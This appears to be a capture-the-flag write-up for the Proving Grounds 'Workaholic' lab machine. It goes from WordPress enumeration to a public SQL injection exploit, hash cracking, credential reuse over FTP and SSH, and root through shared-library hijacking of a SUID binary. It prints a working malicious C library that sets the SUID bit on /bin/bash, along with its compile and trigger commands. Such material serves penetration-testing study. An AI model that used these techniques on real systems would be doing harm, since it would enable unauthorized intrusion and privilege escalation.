Proving Grounds Practice Workaholic

Enumeration: Nmap scan revealed three open ports

FTP Enumeration: Anonymous FTP login was disabled.

HTTP Enumeration: The web application was identified as running WordPress 6.7.2.

WordPress Enumeration

Used WPScan to enumerate users and plugins: wpscan --url http://192.168.231.229 -e u,ap

Even though WPScan reported that no plugins were detected, it is always good practice to manually inspect /wp-content/plugins/.

Using Burp Suite Site Map, the plugin wp-advanced-search was discovered.

Burp-suite showing the wp-advanced-search

Vulnerability Discovery

Researching the wp-advanced-search plugin revealed a public exploit for an Unauthenticated SQL Injection vulnerability affecting the t parameter.

Exploit reference: https://raw.githubusercontent.com/BwithE/CVE-2024-9796/refs/heads/main/poc.py

python3 -m venv workvenv  
source workvenv/bin/activate 
pip install requests

Executed the exploit successfully:

The exploit returned password hashes for three user accounts.

Password Cracking

The retrieved hashes used the $P$ WordPress format. Hashcat mode used -m 400

Cracked Credentials chrish20 okadamat17 Created separate username and password files and used NetExec (NXC) to test the credentials against exposed services

FTP Access

Successfully authenticated to FTP as user ted.

For directory listing, passive mode had to be enabled

Downloaded the wp-config.php file from the FTP server.

The file contained MySQL credentials for the wpadmin account.

Although MySQL was not exposed externally, the discovered credentials were tested against other accessible services such as:

• FTP
• SSH
• WordPress admin login

Updated the username/password lists and reran NXC.

Initial Foothold

Successfully authenticated to SSH as user charlie. Upgraded the shell and verified access:

ssh charlie@192.168.231.229      
charlie@192.168.231.229's password: 
$ id
uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
charlie@workaholic:~$ id
uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)
charlie@workaholic:~$ whoami
charlie

Captured local.txt from /home/charlie.

Additional Enumeration

Observed that /home/ted had unusually permissive read/write permissions for all users.

Navigating into the directory revealed WordPress-related files similar to the FTP contents.

This suggested a relationship between:

• Ted
• FTP
• WordPress

Privilege Escalation

Identifying the SUID Binary

Basic privilege escalation checks revealed that the binary wp-monitor had the SUID bit set.

Since the binary was owned by root, any successful manipulation of its execution flow could potentially lead to privilege escalation.

Binary Analysis

Located the binary within the WordPress-related directory structure.

Some basic commands to learn about the binary

• File Inspection

• String Analysis Particular attention was given to writable paths referenced by the binary.

The binary appeared to search for libsecurity.so under: /home/ted However, the library did not exist.

• Executing the Binary init_plugin from the missing shared object library.

This indicated a potential Shared Object Injection / Library Hijacking vulnerability.

Exploiting the Shared Library Injection

Created a malicious shared library designed to set the SUID bit on /bin/bash.

1. Malicious Shared Library

//gcc -shared -o libcustom.so -fPIC libcustom.c  

#include <stdio.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <stdlib.h>  

static void inject() __attribute__((constructor));  

void inject(){  
setuid(0);  
setgid(0);  
printf("I'm the bad library\n");  
system("chmod +s /bin/bash");  
}

Transferred the source file to the target using a Python HTTP server.

2. Compiling the Library

Created the required directory: .lib Compiled the malicious shared object on the target machine and placed the compiled library in: /home/ted/.lib

gcc -shared -o libsecurity.so -fPIC libsecurity.c

3. Triggering the Vulnerability

Executed the vulnerable SUID binary again. The custom print statement confirmed that the malicious library was successfully loaded.

4. Root Shell

Verified that /bin/bash now had the SUID bit set. Spawned a root shell using:

/bin/bash -p

Successfully obtained root access and captured proof.txt.